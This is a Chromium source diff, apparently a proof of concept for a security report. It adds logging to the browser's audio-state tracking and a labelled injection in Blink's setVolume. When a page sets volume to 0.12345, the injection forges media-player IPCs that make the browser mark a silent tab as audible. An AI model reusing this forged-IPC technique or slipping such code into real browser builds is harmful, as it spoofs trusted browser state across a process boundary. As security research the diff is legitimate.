diff --git a/content/browser/media/audio_stream_monitor.cc b/content/browser/media/audio_stream_monitor.cc
index 68ec44f68896c..66251a17372a7 100644
--- a/content/browser/media/audio_stream_monitor.cc
+++ b/content/browser/media/audio_stream_monitor.cc
@@ -265,6 +265,10 @@ void AudioStreamMonitor::MaybeToggle() {
 
   if (should_indicator_be_on != indicator_is_on_) {
     indicator_is_on_ = should_indicator_be_on;
+    LOG(ERROR) << "[POC][browser] AudioStreamMonitor: indicator_is_on_ -> "
+               << indicator_is_on_
+               << " (tab-strip speaker icon) / WasRecentlyAudible() -> "
+               << indicator_is_on_;
     web_contents_->NotifyNavigationStateChanged(INVALIDATE_TYPE_AUDIO);
   }
 
diff --git a/content/browser/media/media_web_contents_observer.cc b/content/browser/media/media_web_contents_observer.cc
index 291d9ea2e2f12..c4e1d7395b9e5 100644
--- a/content/browser/media/media_web_contents_observer.cc
+++ b/content/browser/media/media_web_contents_observer.cc
@@ -509,6 +509,9 @@ void MediaWebContentsObserver::MediaPlayerObserverHostImpl::
 
 void MediaWebContentsObserver::MediaPlayerObserverHostImpl::
     OnUseAudioServiceChanged(bool uses_audio_service) {
+  LOG(ERROR) << "[POC][browser] OnUseAudioServiceChanged(" << uses_audio_service
+             << ") accepted WITHOUT validation (no platform / "
+             << "MediaFoundation check).";
   uses_audio_service_ = uses_audio_service;
   NotifyAudioStreamMonitorIfNeeded();
 }
@@ -572,6 +575,11 @@ void MediaWebContentsObserver::MediaPlayerObserverHostImpl::
       media_web_contents_observer_->web_contents_impl()->audio_stream_monitor();
 
   if (should_add_client && !audio_client_registration_) {
+    LOG(ERROR) << "[POC][browser] NotifyAudioStreamMonitorIfNeeded: "
+               << "IsAudible()=" << player_info->IsAudible()
+               << " uses_audio_service_=" << uses_audio_service_
+               << " -> RegisterAudibleClient() (renderer-asserted state, "
+               << "no real audio output verified).";
     audio_client_registration_ =
         audio_stream_monitor->RegisterAudibleClient(player_info->GetHostId());
   } else if (!should_add_client && audio_client_registration_) {
diff --git a/content/browser/web_contents/web_contents_impl.cc b/content/browser/web_contents/web_contents_impl.cc
index 3955cfa2dfef7..bb7dd6319bbe0 100644
--- a/content/browser/web_contents/web_contents_impl.cc
+++ b/content/browser/web_contents/web_contents_impl.cc
@@ -2973,6 +2973,9 @@ void WebContentsImpl::OnAudioStateChanged() {
   // Update internal state.
   is_currently_audible_ = is_currently_audible;
   was_ever_audible_ = was_ever_audible_ || is_currently_audible_;
+  LOG(ERROR) << "[POC][browser] WebContentsImpl::OnAudioStateChanged -> "
+             << "IsCurrentlyAudible()=" << is_currently_audible_
+             << " for URL=" << GetLastCommittedURL();
 
   ExecutePageBroadcastMethod([is_currently_audible](RenderViewHostImpl* rvh) {
     if (auto& broadcast = rvh->GetAssociatedPageBroadcast()) {
diff --git a/third_party/blink/renderer/core/html/media/html_media_element.cc b/third_party/blink/renderer/core/html/media/html_media_element.cc
index df5d8d5f2a0bd..ca5812674b8d0 100644
--- a/third_party/blink/renderer/core/html/media/html_media_element.cc
+++ b/third_party/blink/renderer/core/html/media/html_media_element.cc
@@ -3292,6 +3292,41 @@ double HTMLMediaElement::volume() const {
 void HTMLMediaElement::setVolume(double vol, ExceptionState& exception_state) {
   DVLOG(2) << "setVolume(" << *this << ", " << vol << ")";
 
+  // ===== POC INJECTION (compromised-renderer simulation) ========================
+  // Triggered from JS via: video.volume = 0.12345
+  // Sends a forged sequence of MediaPlayerObserver IPCs to the browser process
+  // claiming this player is audible and does NOT use the audio service. No real
+  // audio is ever produced. The browser blindly trusts these booleans and marks
+  // the tab "audible" (speaker icon + WasRecentlyAudible() == true).
+  if (vol > 0.12344 && vol < 0.12346 && GetDocument().GetFrame()) {
+    LOG(ERROR) << "[POC][renderer] Forging audibility IPC sequence "
+               << "(no real audio is being played).";
+    // Step 1: register a fake media player with the browser if none exists yet.
+    if (media_player_observer_remote_set_->Value().empty()) {
+      mojo::PendingAssociatedRemote<media::mojom::blink::MediaPlayer>
+          poc_player_remote;
+      BindMediaPlayerReceiver(
+          poc_player_remote.InitWithNewEndpointAndPassReceiver());
+      GetMediaPlayerHostRemote().OnMediaPlayerAdded(
+          std::move(poc_player_remote), AddMediaPlayerObserverAndPassReceiver(),
+          /*player_id=*/7777777);
+    }
+    // Step 2: send the four renderer-controlled booleans.
+    for (auto& observer : media_player_observer_remote_set_->Value()) {
+      observer->OnMediaMetadataChanged(/*has_audio=*/true, /*has_video=*/true,
+                                       media::MediaContentType::kPersistent);
+      observer->OnMutedStatusChanged(/*muted=*/false);
+      observer->OnUseAudioServiceChanged(/*uses_audio_service=*/false);
+      observer->OnMediaPlaying();
+    }
+    LOG(ERROR) << "[POC][renderer] Forged IPCs sent: "
+               << "OnMediaMetadataChanged(has_audio=true) / "
+               << "OnMutedStatusChanged(false) / "
+               << "OnUseAudioServiceChanged(false) / OnMediaPlaying()";
+    return;
+  }
+  // ===== END POC INJECTION =====================================================
+
   if (volume_ == vol)
     return;